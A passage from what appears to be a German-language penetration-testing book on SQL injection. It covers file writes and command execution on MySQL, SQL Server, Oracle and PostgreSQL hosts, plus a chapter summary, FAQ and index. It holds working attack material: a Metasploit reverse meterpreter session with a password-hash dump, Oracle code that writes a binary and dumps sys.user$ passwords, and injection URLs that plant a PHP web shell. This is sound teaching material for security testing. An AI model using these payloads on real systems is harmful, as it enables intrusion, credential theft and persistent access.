[+] Which type of connection you want to use?1: bind_tcp 2: reverse_tcp > 2 <--- Wir verwenden eine Reverse-Shell an Port 443 [+] Enter local port number > 443 [+] Calling msfpayload3 to create the payload ... Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 177 Options: exitfunc=process,lport=12345,lhost=192.168.217.128 [+] Payload (met13322.exe) created. Now converting it to debug script [+] Uploading /tmp/met13322.scr debug script...<--- Wir laden die Payload hoch 103/103 lines written done ! [+] Converting script to executable... might take a while <schnipp!> [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (www.attacker.com:12345-> www.victim.com:1343) <--- Die Payload wurde hochgeladen und gestartet meterpreter > use priv <--- Wir laden die Meterpreter-Erweiterung priv hoch Loading extension priv...success. meterpreter > hashdump <--- Schließlich extrahieren wir die Hashes Administrator:500:aad3b435b51404eeafd3b435b51404ee:31d6cfe0d16ae938b73c 59d7e0c089c0::: ASPNET:1007:89a3b1d42d454211799cfd17ecee0570:e3200ed357d74e5d782ae8d60 a296f52::: Guest:501:aad3b435b51104eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d770c 089c0::: IUSR_VICTIM:1001:491c44543256d2c8c50be094a8ddd267:5681649752a67d765775f c6069b50920::: IWAM_VICTIM:1002:c18ec1192d26469f857a45dda7dfae11:c3dab0ad3710e208b479e ca14aa43447::: TsInternetUser:1000:03bd869c8694066f405a502d17e12a7c:73d8d060fedd690498 311bab5754c968::: meterpreter >

Bingo! Der vorstehende Code gibt Ihnen Zugriff auf den Datenbankserver, und damit können Sie die Passworthashes für das Betriebssystem abgreifen.

Die CLR-Integration von SQL Server 2005 bietet Ihnen eine Möglichkeit, noch viel komplizier-tere Binärdateien auf dem fremden System zu kompilieren. Außerdem ist dadurch garantiert, dass auf dem System eine .NET-Runtime und standardmäßig auch ein .NET-Compiler vorhan-den ist. (Microsoft hat den Befehlszeilencompiler csc.exe im Verzeichnis %windir%\ Microsoft.NET\Framework\VerXX\ untergebracht.) Das bedeutet, dass Sie mit der gleichen Technik eine Quelldatei Zeile für Zeile erstellen und dann den Compiler csc.exe aufrufen können, um die Datei ohne jegliche Einschränkungen zu erstellen.


Dies können Sie in dem Beispiel aus Abbildung 6.19 sehen, in dem eine einfache .NET-Quellda-tei angelegt und dann csc.exe aufgerufen wird, um sie als DLL im Verzeichnis C:\temp auf dem SQL Server-Computer zu kompilieren.

Abbildung 6.19: Kompilieren einer Binärdatei auf einem SQL Server-Computer mit csc.exe

Selbst wenn auf dem Server ein anderes Namensschema für Verzeichnisse verwendet wird, kann ein forscher Angreifer csc.exe nutzen, indem er es aus dem vorhersehbaren DLL-Cache %windir%\system32\dllcache\csc.exe heraus einsetzt.

Oracle

Auch in Oracle gibt es eine Reihe von Möglichkeiten, Dateien zu erstellen. Folgende Methoden stehen zur Verfügung:

• UTL_FILE

• DBMS_ADVISOR

• DBMS_XSLPROCESSOR

• DBMS_XMLDOM

• Externe Tabelle

• Java

• Befehle des Betriebssystems und Umleitung

Ab Oracle 9i kann utl_file Binärcode im Dateisystem schreiben. Der folgende Beispielcode erstellt die Binärdatei hello.com auf Laufwerk C: oder dem entsprechenden UNIX-Pfad auf dem Datenbankserver:


Create or replace directory EXT AS 'C:\'; DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32767); BEGIN bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C40 2CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC 8B5E088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F7 26C64210D0A'); fi:=UTL_FILE.fopen('EXT','hello.com','w',32767); UTL_FILE.put_raw(fi,bu,TRUE); UTL_FILE.fclose(fi); END; /

Die wahrscheinlich kürzeste Möglichkeit zum Erstellen von Dateien bietet DBMS_ADVISOR:

create directory EXT as 'C:\'; exec SYS.DBMS_ADVISOR.CREATE_FILE ('first row', 'EXT', 'victim.txt');

Seit Oracle 10g ist eine möglich, mithilfe von externen Tabellen eine Datei zu erstellen, die alle Benutzernamen und die zugehörigen Passwörter enthält:

create directory EXT as 'C:\'; CREATE TABLE ext_write ( myline) ORGANIZATION EXTERNAL (TYPE oracle_datapump DEFAULT DIRECTORY EXT LOCATION ('victim3.txt')) PARALLEL AS SELECT 'I was here' from dual UNION SELECT name||'='||password from sys.user$;

Mit DBMS_XSLPROCESSOR können Sie XML-Dateien ins Dateisystem schreiben:

exec dbms_xslprocessor.clob2file(your_xml, 'MYDIR','outfile.txt');

Auch DBMS_XMLDOM bietet Zugriff auf das Dateisystem:

CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\xmlfiles'; exec DBMS_XMLDOM.writeToFile(doc,'XML_DIR/outfile.xml');


Java-Beispielcode finden Sie auf der Webseite www.0xdeadbeef.info/exploits/raptor_oraexec.sql von Marco Ivaldi.

PostgreSQL

In PostgreSQL können Sie mit derselben copy-Funktion, die Sie zum Lesen von Dateien ver-wendet haben, auch Dateien schreiben. Dabei wird der Inhalt einer Tabelle als Text in eine Ta-bellenzeile geschrieben (eine Textzeile pro Tabellenzeile). Dateien werden unter dem Konto des Benutzers erstellt, der den PostgreSQL-Prozess ausführt (gewöhnlich postgres), weshalb dieser Benutzer Schreibberechtigungen für den vorgesehenen Pfad benötigt.

Sehr oft wird auf PostgreSQL-Servern die Programmiersprache PHP verwendet, die es ermög-licht, verschachtelte Abfragen an den PostgreSQL-Server zu übermitteln. Daher ist es recht unkompliziert, eine Datei durch SQL-Injection in einer Webanwendung zu erstellen, sofern der entsprechende Datenbankbenutzer über die erforderlichen Superuser-Rechte verfügt. Das können Sie an dem folgenden Beispiel erkennen.

Zunächst wird eine temporäre Tabelle erstellt:

http://10.10.10.128/test.php?id=1; create table hack(data text);--

Der PHP-Webshellcode wird in die Tabelle eingefügt:

http://10.10.10.128/test.php?id=1; insert into hack(data) values ("<?php passthru($_GET['cmd']); ?>");--

Nun werden die Daten von der Tabelle in eine Datei kopiert, die sich im Wurzelverzeichnis des Webservers befindet:

http://10.10.10.128/test.php?id=1; copy(select data from hack) to '/var/www/shell.php';--

Damit dieses Beispiel funktioniert, muss der Betriebssystembenutzer postgres Schreibzugriff auf das Wurzelverzeichnis haben. Außerdem müssen sich Datenbank und Webserver auf dem-selben System befinden. Wenn das der Fall ist, können wir Betriebssystembefehle als PHP-Benutzer auf dem Webserver ausführen (gewöhnlich nobody auf Apache).

In seinem Vortrag auf der Konferenz Black Hat Europe des Jahres 2009 hat Bernardo Damele eine alternative Methode aufgezeigt, mit der Angreifer Dateien in fremde Datenbanken schreiben können. PostgreSQL verfügt über die systemeigenen Funktionen lo_create(), log_export() und


Abbildung 6.28: Ein in Perl geschriebenes SOAP-Abfragetool kommuniziert mit dem Endpunkt

6.5 Zusammenfassung

Dieses Kapitel hat gezeigt, wie durch SQL-Injection Angriffe auf den Host ausgeführt werden können, auf dem der Datenbankserver läuft. Die meisten modernen relationalen Datenbank-managementsysteme bieten die Möglichkeit, Dateien im Dateisystem zu lesen und zu schreiben und Betriebssystembefehle auszuführen. Damit stehen diese Möglichkeiten aber auch Angrei-fern zur Verfügung, die sich über SQL-Injection Zugriff verschaffen.

Die Ausnutzung einer einzigen Schwachstelle wie eines SQL-Injektionspunkts als Ausgangs-punkt für Angriffe auf andere Hosts ist eine der Techniken für Penetrationstests, die Profis von Amateuren unterscheidet. In diesem Kapitel haben Sie gelernt, wie sich im Rahmen von SQL-Injektionsangriffen grundlegende Tätigkeiten wie das Lesen und Schreiben von Dateien oder das Ausführen von Befehlen gegen die am weitesten verbreiteten Anwendungsarchitekturen einsetzen lassen.

Nachdem Sie diese Grundlagen kennen, können Sie zu Kapitel 7 übergehen, in dem es um SQL-Injection für Fortgeschrittene geht.

6.6 Schneller Überblick

6.6.1 Zugriff auf das Dateisystem

• Für das Lesen von Dateien im Dateisystem mithilfe von SQL-Injection gilt Folgendes:

• In MySQL können Sie mit LOAD DATE INFILE und LOAD_FILE() beliebige Dateien auf dem Host lesen.

• In Microsoft SQL Server können Sie mit BULK INSERT und OLE-Automatisierung Dateien im Dateisystem lesen. In neueren Systemen (ab SQL Server 2005) können Sie für diesen Zweck auch eine Macke in CREATE ASSEMBLY nutzen.

427 6.6 Schneller Überblick

• In Oracle können Sie Dateien mit Oracle-Verzeichnissen, Oracle Text und UTL_FILE lesen.

• Für das Schreiben von Dateien im Dateisystem mithilfe von SQL-Injection gilt Folgendes:

• In MySQL können Sie mit den Befehlen SELECT INTO OUTFILE und SELECT INTO DUMPFILE Dateien im Dateisystem schreiben.

• In Microsoft SQL Server können Sie mit OLE-Automatisierung und einfacher Umleitung (durch Befehlsausführung) Dateien im Zieldateisystem erstellen. Um Binärdateien anzulegen, können Sie debug.exe und bcp an der Befehlszeile nutzen.

• In Oracle können Sie Dateien mit UTL_FILE, DBMS_ADVISOR, DBMS_XSLPROCESSOR, DBMS_XMLDOM, Java, Betriebssystembefehlen und Standardumleitung schreiben.

6.6.2 Befehle des Betriebssystems ausführen

• In MySQL und PostgreSQL können Sie Betriebssysteme über SQL ausführen, indem Sie eine benutzerdefinierte Funktion (UDF) erstellen. Da in PostgreSQL Stapelabfragen ausgeführt werden können, hat diese Vorgehensweise sehr wahrscheinlich Erfolg. Für diese Art von Angriff wird Sqlmap empfohlen. Die meisten Webframeworks erlauben nicht die Ausfüh-rung von Stapelabfragen in MySQL, weshalb ein solcher Angriff dort wahrscheinlich nicht funktioniert. Um eine benutzerdefinierte Funktion erstellen zu können, muss der Benutzer ein Systemadministrator sein. In Microsoft SQL Server können Sie Befehle über gespeicher-te Prozeduren wie xp_cmdshell, OLE-Automatisierung oder die Einrichtungen der neuen CLR-Integration ausführen. Um Betriebssystemcode ausführen zu können, muss der Daten-bankbenutzer die Rolle eines Systemadministrators haben.

• In Oracle können Sie Befehle durch EXTPROC, Java, DBMS_SCHEDULER, PL/SQL, Oracle Text und oradebug ausführen. Wenn der Datenbankbenutzer nicht die erforderlichen Berechtigungen für die Codeausführung hat, können bei fehlenden Sicherheitspatches Angriffe zur Rechte-erhöhung durchgeführt werden.

6.6.3 Den Zugriff sichern

• Mit Datenbank-Rootkits können Sie den fortgesetzten Zugriff auf einen geknackten Server sicherstellen.

• Die Vorgehensweise von Datenbank-Rootkits ist sehr unterschiedlich. Einige erweitern den Funktionsumfang des Datenbankservers, während andere lediglich Benutzer zum System hinzufügen, die regulär nicht angezeigt werden.


6.7 Quellen

Rathakrishnan, B., et al. »Using CLR integration in SQL Server 2005« Microsoft Corporation, http://msdn.microsoft.com/en-us/library/ms345136.aspx, abgerufen am 12.02.09.

{} und Hardbeat. »How we defaced www.apache.org« http://www.dataloss.net/papers/how. de-faced.apache.org.txt, abgerufen am 12.02.09.

Foller, A. »Custom xp_cmdshell, using shell object« Motobit Software, http://www.motobit. com/tips/detpg_cmdshell/, abgerufen am 06.02.09.

Sarsfield, B., und Raghavan, S. »Overview of native XML Web Services for Microsoft SQL Ser-ver 2005« Microsoft Corporation, http://msdn.microsoft.com/en-us/library/ms345123(SQL.90).aspx, abgerufen am 06.02.09.

6.8 Häufig gestellte Fragen

F: Sind alle Back-End-Datenbanken gleich, was SQL-Injektionsangriffe angeht?

A: Es wird zwar oft behauptet, dass Angriffe quer durch alle verschiedenen relationalen Da-tenbanksysteme gleich gefährlich sind, doch meiner Meinung nach macht die Möglichkeit, Stapelabfragen auszuführen, Microsoft SQL Server zu einem besonders einfachen Ziel für Injektionsangriffe.

F: Sind zum Lesen und Schreiben von Dateien im Hostbetriebssystem besondere Berechtigun-gen erforderlich, oder kann das jeder machen?

A: Das ist von System zu System verschieden. Sie können allerdings davon ausgehen, dass im Allgemeinen höhere Rechte erforderlich sind.

F: Wieso sollte es mich kümmern, ob jemand Dateien lesen oder schreiben kann?

A: Angreifer haben im Laufe der Zeit sehr viel Kreativität bewiesen, die Möglichkeit zum Lesen und Schreiben von Dateien dazu zu nutzen, den Host komplett zu übernehmen. Beliebige Dateien im Dateisystem des Datenbankservers lesen zu können, ist für Angreifer oft eine wahre Goldmine, denn dadurch können sie gespeicherte Verbindungsstrings finden, die es ihnen erlauben, gegen andere Hosts tiefer im Netzwerk des Unternehmens vorzugehen.

429 6.8 Häufig gestellte Fragen

F: Lassen sich diese Probleme nicht dadurch lösen, die Konfiguration der Datenbank sicherer zu machen?

A: Eine sichere Datenbankkonfiguration trägt sehr viel dazu bei, solche Angriffe zu verhin-dern Theoretisch lassen sich alle SQL-Injektionsangriffe durch eine sichere Konfiguration und sorgfältig geschriebenen Code verhindern. In der Praxis jedoch ist das leichter gesagt als getan. Das Ringen um Sicherheit ist ein sehr schwerer Kampf, da hier auf beiden Seiten Menschen sitzen, und manche Menschen enorm viel Zeit aufwenden, um auszutüfteln, wie sie sichere Konfigurationen aushebeln können.

SStichwortverzeichnis

Symbole' 41.NET

Eingabevalidierung 486Parametrisierte Anweisungen 473

@@version 73, 200

AAbfangfilter 524Abfragen

Falsche Zusammenstellung 45Abfragen mit Nebenwirkungen 306Abfragestring 142Abschneiden von Zeichen 439Absinthe 357

Abstraktionsschichten 504Access 657ADB-Server 287Ad-hoc-Abfragen 541ADO.NET 473Alternative Kanäle 322

Blinde SQL-Injection 345Datenbankverbindungen 346DNS 348E-Mail 353HTTP 354ICMP 357

Alter system set 419ALTER TABLE 611Android 159, 287

Parametrisierte Anwendungen 477

664 Stichwortverzeichnis

AnführungszeichenAlphanumerische Werte 96Codieren 493Einfaches Anführungszeichen 41Filter 440, 645MySQL 495Oracle 490PostgreSQL 496SQL Server 493Strings ohne Anführungszeichen darstel-

len 646Anonymous 37Antworten verschiedener Länge 89Antwortgestützte Deduktion 334

Aufteilen und Ausgleichen 339MySQL 335Oracle 341PostgreSQL 337SQL Server 338

AnwendungenAndroid 159Antworten verschiedener Länge 89Anwendungsfilter 527Auf Anfälligkeiten prüfen 57Fehlermeldungen 84Firewalls 517Webanwendungen 28Zugriff auf Anwendungsdaten einschrän-

ken 534Anwendungsfilter 527AOP 532Apache 397APEX 274ApexSQL 596

AppCodeScan 177Architektur

Abstraktionsschichten 504Dreischichtig 30Vierschichtig 31

Archivierung 506Aspektorientierte Programmierung 532ASP.NET 341, 486Asprox 37, 38, 115Aufgeteilte Datenbanklogins 535Aufteilen und Ausgleichen 306, 339Ausführungspläne

Beispiel 567Computerforensik 566Einführung 566Grenzen der Nützlichkeit 576MySQL 574Oracle 574PostgreSQL 575SQL Server 573Verdächtige Elemente 569Zugriff 572

Ausgabecodierung 469Einführung 488MySQL 495Oracle 490PostgreSQL 496SQL Server 493

Authentifizierung 259, 541Neuauthentifizierung mithilfe von

OPENROWSET 627Automatisieren

Aufspüren von Schwachstellen 118Blinde SQL-Injection 357

665Stichwortverzeichnis

Brute-Force-Angriff 258Codeanalyse 173Gefahren bei Penetrationstests mit auto-

matischen Werkzeugen 192SQL-Injection 291

BBandbreitennutzung 561Bannerabruf 199Barracuda Networks 38BCP 400Bedingte Anweisungen 213BENCHMARK 117, 218BENCHMARK() 324, 330Benutzerdefinierter Anwendungscode 420Bereiche für authentifizierte Benutzer 456Betriebssystem

Angreifen 375Befehle ausführen 407, 456Zugriff sichern 423

Beweissicherung 556Binärsuche

Einführung 316MySQL 325PostgreSQL 328SQL Server 332

Bit Defender 37Bitoperationen 320Bitweise Deduktion

MySQL 326PostgreSQL 329SQL Server 332

Blacklists 484Blinde Identifizierung 202

Blinde Injektion 90, 219Blinde SQL-Injection

Abfragen mit Nebenwirkungen 306Alternative Kanäle 322, 345Anfälligkeiten finden 305Antwortgestützte Deduktion 334Aufteilen und Ausgleichen 306Automatisieren 357Binärsuche 316Bitoperationen 320Datenbankverbindungen 346DB2 652Deduktionstechniken 311DNS 348Einführung 303E-Mail 353Fehlermeldungen 305HTTP 354ICMP 357Informix 653Ingres 655Mehrere Bits auf einmal abrufen 342MySQL 633Oracle 638PostgreSQL 643SQL Server 626Sybase 656Techniken 310Zeitgestützte Deduktion 322Zeitverzögerungen 323

Bobcat 260, 293Botnetze 115Browsererweiterungen 61Bscrypt 239BSQL 294


BSQL Hacker 359BULK INSERT 384Burp Suite 62, 629

CC#

Daten verfolgen 158Funktionen 149HTTP-Anforderungen 144Parametrisierte Anweisungen 473

CAST 210CAT.NET 179char() 223CLR-Integration 388, 403Codeanalyse

Android-Anwendungen 159Automatisieren 173Daten verfolgen 150Lexikalische Analyse 174Senken 136Statisch/dynamisch 136

CodePro AnalytiX 180CodeSecure 184Computerforensik

Ausführungspläne 566Bandbreitennutzung 561Digitale Artefakte 559Ermittlungspraktiken 556Gerichtsverwertbarkeit 556Passwörter 567Riskante Anweisungen 571Schädliche Abfrageparameter 563Seitentreffer 561Sicherheitsrisiko durch Caching 567

Speerfang 564Stapelabfragen 570Transaktionsprotokolle 577Unlogische Verwendung bedingter An-

weisungen 571Webserverprotokolle 559Zeitstempel 584

Cookies 63, 142count(*) 219CREATE ASSEMBLY 389CREATE PROCEDURE 266CREATE TABLE 609Cross-Site Scripting 455, 497Cursor 111Cursorinjektion 266CVE 36CWE/SANS 36, 509CWSS 36

DDalvik-Executable-Format 160Dateizugriff

Dateien lesen 377Dateien schreiben 395Externe Tabellen 392, 405Java 393MySQL 285, 377, 395, 635Oracle 286, 391, 404, 639PostgreSQL 394, 406SQL Server 282, 383, 399, 631UNC-Pfade 383

DatenbankZugriff auf Anwendungsdaten einschrän-

ken 534


Datenbank-E-Mail 278Datenbanken

Aufgeteilte Datenbanklogins 535Geringstmögliche Rechte 542Protokollierung 537Wiederherstellen von einer Sicherung

595Zugriff auf Datenbankserver einschrän-

ken 540Zurücksetzen 597

Datenbankfehler 69Datenbankfirewall 533Datenbank-Honeypots 507Datenbankkommentare 105Datenbankkonfiguration 50Datenbankschema

Auflisten 232DB2 651Informix 652Ingres 654MySQL 238, 632Oracle 244, 636PostgreSQL 243, 642SQL Server 233, 623Sybase 655

DatenbankserverPatches 216Version über Stringverkettung ermitteln

203Datenbanksystem 618

Bannerabruf 199Blinde Identifizierung 202Ermitteln 196Fehlermeldungen 197

SQL-Dialekte 619Versionsinformationen 199Version über numerische Funktionen

ermitteln 203Datenbanksysteme

NoSQL 498Datenbankverbindungen 346DB2 651dbms_advisor 641DBMS_ADVISOR 405dbms_assert 491dbms_lob 640DBMS_LOCK.SLEEP() 118DBMS_PIPE.RECEIVE_MESSAGE 333DBMS_PIPE.RECIEVE_MESSAGE 118DBMS_SCHEDULER 417DBMS_XMLDOM 405DBMS_XSLPROCESSOR 405DB_NAME() 234DDS Siehe Domain-Driven SecurityDeduktionstechniken 311

Mehrere Bits auf einmal abrufen 342Deduktives Testen 59DELETE 609Digitale Artefakte 559DNS 348

Hostnamenattrappen 546Domain-Driven Design 465Domain-Driven Security 464Drei-Byte-Patch 423DROP 609Dynamische Ausführung von Abfragen 437Dynamische Payload 597Dynamische Stringerstellung 40


EEGPCS-Variablen 143Eingabedaten

Akzeptable Eingabedaten 59Blacklists 484Eingabevalidierung 466, 479Fehlgeschlagene Validierung 484Filtern 530Filter umgehen 432Groß- und Kleinschreibung 432Indirektion von Eingaben 483Injizierbare Daten 63INSERT-Abfragen 249Nicht validiert 139Nicht wohlgeformte Eingaben 614NULL-Bytes 438Unicode-Eingaben 500URL-Codierung 434Validierung anhand bekannter Werte

480Whitelists 479

Eingabefilter Siehe FilterEingabevalidierung 466

Bearbeitbare und nicht bearbeitbare Eingaben 530

Blacklists 484Einführung 479Fehlschlag 484HTML5 488Indirektion von Eingaben 483Java 485Mobilanwendungen 488.NET 486Normalisierung 500PHP 487

Umgehen 645Validierung anhand bekannter Werte

480Whitelists 479

Eintrittspunkte 443E-Mail

Alternativer Kanal 353Datenbank-E-Mail 278Oracle 280Out-of-band-Kommunikation 277SQL Server 277Zulässige Zeichen in Adressen 467

EnCase 37Exploit-Techniken 193Externe Tabellen 392, 405EXTPROC 416

FFehlerbehandlung

Falsche Fehlerbehandlung 46Fehlerbehebung 648Fehlermeldungen

Antworten verschiedener Länge 89Ausnutzen 225Blinde SQL-Injection 305Datenbankfehler 69Datenbanksystem ermitteln 197Daten ermitteln 620HTTP-Fehlercodes 88INSERT 252Meldungen der Anwendung 84MySQL 65, 76, 197Nutzung durch Angreifer 75ORA 198


Oracle 79, 198, 228PostgreSQL 81Selbst definiert 544SQL-Fehlermeldungen 70SQL Server 71, 197, 225Standardfehlermeldungen 84UNION 206Unterdrücken 544

FilterAbfangfilter 524Abschneiden von Zeichen 439Anführungszeichen 440, 645Anwendungseigene Filter 442Anwendungsfilter 527Bearbeitbare und nicht bearbeitbare

Eingaben 530Dynamische Ausführung von Abfragen

437Filtermuster implementieren 529Groß- und Kleinschreibung 432Nicht standardmäßige Eintrittspunkte

443NULL-Bytes 438PHP 138Schwarze Listen 442SQL-Kommentare 433Umgehen 432, 645URL-Codierung 434Webdienstmeldungen 529Webserverfilter 525

Finanzinformationen 505Firewalls 517

Datenbankfirewall 533FN_REPLINTTOBITSTRING() 322Fortify 182F-Secure 37

FunktionenC# 149Funktionen mit hohem Risiko 572Gefährliche Funktionen 146Java 148PHP 146

GGeringstmögliche Rechte 534, 542Gespeicherte Prozeduren 139, 502, 536GET-Anforderungen 59Gonzalez, Albert 37Graudit 175grep 151Groß- und Kleinschreibung 432GROUP BY 73, 112, 611

HHAVING 73, 112Hexcodierung 570Honeypots 507Hostnamenattrappen 546HP Scrawlr 123HP WebInspect 120HTML5 451


HTTPAlternativer Kanal 354

HTTP-Anforderungen 142HTTP-Codierung 647HTTP/DNS 281HTTP-Fehlercodes 88


HTTP-Header 63HttpRequest 144HTTPURITYPE 356

IIBM Rational AppScan 121ICMP 357IIS 528Indirektion von Eingaben 483Informationsfluss 68Informix 652Ingres 654Injizierbare Daten 63Inline-SQL-Injection 96INSERT 608

Benutzerdaten einfügen 249Fehlermeldungen 252Injektion in INSERT-Abfragen 248

INTO dumpfile 635Intrusion-Detection-Systeme 523, 533iOS

Parametrisierte Anweisungen 477

JJacks, Jeremiah 37Java

Berechtigungen 416Dateien lesen 393Daten verfolgen 156Eingabevalidierung 485Funktionen 148HTTP-Anforderungen 143

Klassen 466Parametrisierte Anweisungen 471

JDBC 471JDBC-API 148JSF 485

KKanonisierung 499Kartesisches Produkt 219Kaspersky 37Klocwork Solo 185Kombinierte Angriffe 454Kommentare

Datenbankkommentare 105Inline-Kommentare 433Mehrzeilig 108SQL-Anweisungen abschließen 107SQL-Kommentare 433Stapelabfragen 570

Kreditkarteninformationen 505Kryptografie 536

LLady Gaga 38LAPSE+ 178Laufzeitschutz 516Leere Standardwebsite 546Leerzeichen 107Lexikalische Analyse 174LIKE 490, 494, 495Lilupophilupop 568, 595LOAD DATE INFILE 377


LOAD_FILE 44, 377, 635Lokaler Datenbankenzugriff 451LulzSec 38

MMagischer Block 421Massenkopierprogramm 400MasterCard 37Mehrfachanweisungen 111Mehrfachübertragungen 48Metasploit 402Microsoft Access 657Microsoft Code Analysis Tool .NET 179Microsoft Source Code Analyzer for SQL

Injection 179Microsoft SQL Server Siehe SQL ServerMobilanwendungen


Mobilgeräte 286mod_plsql 264ModSecurity 518MySQL

Antwortgestützte Deduktion 335Aufteilen und Ausgleichen 307Ausführungspläne 574Ausgabecodierung 495Betriebssystembefehle ausführen 408Binärsuche 325Bitweise Deduktion 326Blinde SQL-Injection 633Dateien lesen 377Dateien schreiben 395Dateizugriff 285, 635

Datenbankkonfiguration 52Datenbankschema auflisten 238Fehlermeldungen 65, 76, 197Gespeicherte Prozeduren 140Inline-Kommentare 434INSERT-Fehlermeldungen 253Jokerzeichen für LIKE 495Konfigurationsinformationen 632LOAD_FILE 44Parametrisierte Abfragen mit PHP 475Passworthashes 270Schema 632Spickzettel 632Transaktionsprotokolle 582Zeitstempel 586Zeitverzögerung 117Zeitverzögerungen 218, 324

mysql_error 77mysqli 475

NNebenwirkungen 306Netzwerkzugriffssteuerung 550NFKC 500noindex 547NOOP 491NoSQL-Injection 498NULL-Bytes 438Numerische Daten

Aufteilen und Ausgleichen 307Numerische Typen 43Numerische Werte

Injizieren 101


Oociparse() 80Offensichtliche Objektnamen 506OPENROWSET 256, 346, 627ORA 198Oracle

Alter system set 419Antwortgestützte Deduktion 341APEX 274Ausführungspläne 574Ausgabecodierung 490Benutzerdefinierter Anwendungscode

420Betriebssystembefehle ausführen 412,

456Blinde SQL-Injection 638Codeanalyse 166Codeausführung über direkten Zugriff

415Dateien lesen 391Dateien schreiben 404Dateizugriff 286, 639Datenbankkonfiguration 51Datenbankschema 244E-Mail 280Externe Tabellen 392, 405EXTPROC 416Fehlermeldungen 79, 198, 228Gespeicherte Prozeduren 140Jokerzeichen für LIKE 490Konfigurationsinformationen 636Logminer 597Oracle Internet Directory 275Oracle Text 418

Parametrisierte Anweisungen 476Passwörter 641Passwörter für Komponenten 274Passworthashes 272PL/SQL 195Pufferüberläufe 420Rechte erhöhen 413Rechteerhöhung 263Rootkit 424Schema 636Spickzettel 636SYSDBA 421Transaktionsprotokolle 581Trigger 538Zeitstempel 585Zeitverzögerung 117Zeitverzögerungen 219, 333

ORDER BY 612Out-of-band-Kommunikation Siehe Alterna-

tive KanäleDateisystem 282Datenbankverbindungen 346DNS 348E-Mail 277, 353HTTP 354HTTP/DNS 281ICMP 357Möglichkeiten 276

OWASP 36, 508

PPangolin 569Parameter

Aufteilen und Ausgleichen 306


Gespeicherte Prozeduren 141Manipulieren 64Schädliche Abfrageparameter 563Unsichere Benutzerdaten 141

Parametrisierte AbfragenADO.NET 473

Parametrisierte AnweisungenC# 473Einführung 470HTML5 478iOS 477Java 471Mobilanwendungen 477MySQL 475PHP 475PL/SQL 476

Parametrisierte AnwendungenAndroid 477

Paros Proxy 127Passwörter

APEX 274Caching 567Computerforensik 567Hashes 239Hashes stehlen 268Honeypots 507MySQL 270Offensichtliche Objektnamen vermeiden

506OPENROWSET 257Oracle 272, 641Oracle Internet Directory 275Oracle-Komponenten 274PostgreSQL 271, 645sa 257

Schutzmaßnahmen 505Speichern in Datenbanken 239SQL Server 268, 630

Patches 542Payload

Bestimmen 593Dynamisch 597Statisch 595

PCI-DSS 505PDO 476PEAR::MDB2 476Penetrationstest

Anwendungen auf Anfälligkeiten prüfen 57

Aufspüren von Schwachstellen automati-sieren 118

Produktionsdaten 192Vorhandensein von Schwachstellen

bestätigen 95Penetrationstests

Gefährliche Tests 610Pete Finnegan Ltd. 509pg_last_error 82pg_query 82, 199pg_sleep() 218PHP

Daten verfolgen 151Eingabevalidierung 487Funktionen 146HTTP-Anforderungen 143Parametrisierte Anweisungen 475

Pixy 176PL/SQL 195

Codeanalyse 166EXTPROC 416


Parametrisierte Anweisungen 476Rechteerhöhung 264

PL/SQL Native 418PL/SQL Native 9i 420POST-Anforderungen 60PostgreSQL

Antwortgestützte Deduktion 337Ausführungspläne 575Ausgabecodierung 496Betriebssystembefehle ausführen 421Binärsuche 328Bitweise Deduktion 329Blinde SQL-Injection 643Dateien lesen 394Dateien schreiben 406Datenbankschema 243Fehlermeldungen 81Konfigurationsinformationen 642Mehrfachanweisungen 111Passwörter 645Passworthashes 271Schema 642Spickzettel 642Transaktionsprotokolle 584Versionsinformationen 201Zeitstempel 587Zeitverzögerungen 118, 218, 327

Produktionsdaten 192Protokollierung 537Proxyeinstellungen 62Proxyserver 61PUBLIC 418, 535Pufferüberläufe 420

RRational AppScan Source Edition 184Rechteerhöhung

CREATE PROCEDURE 266Einführung 255Oracle 263, 413PUBLIC 418sa 257Schwache Berechtigungen 267SQL Server 256, 627SYSDBA 421Ungepatchte Server 262

Red Database Security 509Referer-Header 444register_globals 143Reguläre Ausdrücke

Überprüfen von UTF-8-Codes 501Ressourcenproxys/-wrapper 532Resultset einschränken 613RIPS 180robots.txt 547

Ssa 257SANS Software Security Institute 509Schädliche Abfrageparameter 563Schutzmaßnahmen

Abstraktionsschichten 504Angreifbare Seiten ersetzen 531Aufgeteilte Datenbanklogins 535Ausgaben codieren 469, 488Authentifizierung 541Blacklists 484


Code 463Designtechniken 502Domain-Driven Security 464Eingabefilter 432Eingabevalidierung 466, 479Filter 138Firewalls 517Geringstmögliche Rechte 534, 542Gespeicherte Prozeduren 502, 536Honeypots 507Hostnamenattrappen 546Indirektion von Eingaben 483Intrusion Detection 523Kanonisierung 499Klassen 466Kryptografie 536Laufzeitschutz 516Leere Standardwebsite 546Leerzeichen 107Netzwerkzugriffssteuerung 550Offensichtliche Objektnamen vermeiden

506Parametrisierte Anweisungen 468, 470Passwörter 505Patches 542Plattform 515Protokollierung 537Ressourcenproxys/-wrapper 532SSL-Jokerzertifikate 547Suchmaschinenindizierung einschränken

547Validierung anhand bekannter Werte

480Webserverprotokolle 549

Web- und Datenbankserver auf getrenn-ten Computern 549

Whitelists 479WSDL-Informationen unterdrücken 548Zugriff auf Anwendungsdaten einschrän-

ken 534Zugriff auf Datenbankserver einschrän-

ken 540Zulässige Zeichen in E-Mail-Adressen

467Schwachstellen

Angreifbare Seiten ersetzen 531Anwendungen auf Anfälligkeiten prüfen

57Aufspüren 614Aufspüren automatisieren 118Ausnutzen 191Bereiche für authentifizierte Benutzer

456Blinde SQL-Injection 305Gefährliche Funktionen 146Gefährliche Programmiertechniken 138Gespeicherte Prozeduren 139Gründe 67Nicht validierte Benuzterdaten 139Quellcode untersuchen 136Senken 136SQL-Injection zweiter Ordnung 448Ungepatchte Server 262Vorhandensein bestätigen 95

Schwarze Listen 442Scrypt 240Seitentreffer 561SELECT 607SELECT INTO OUTFILE 395


Senken 136Skalare Unterabfragen 253SLEEP() 324, 333Slqninja 258Sony 38sp_configure 278Speerfang 564sp_send_dbmail 278SQL

Dynamische Stringerstellung 40Numerische Typen 43Trennzeichen 41

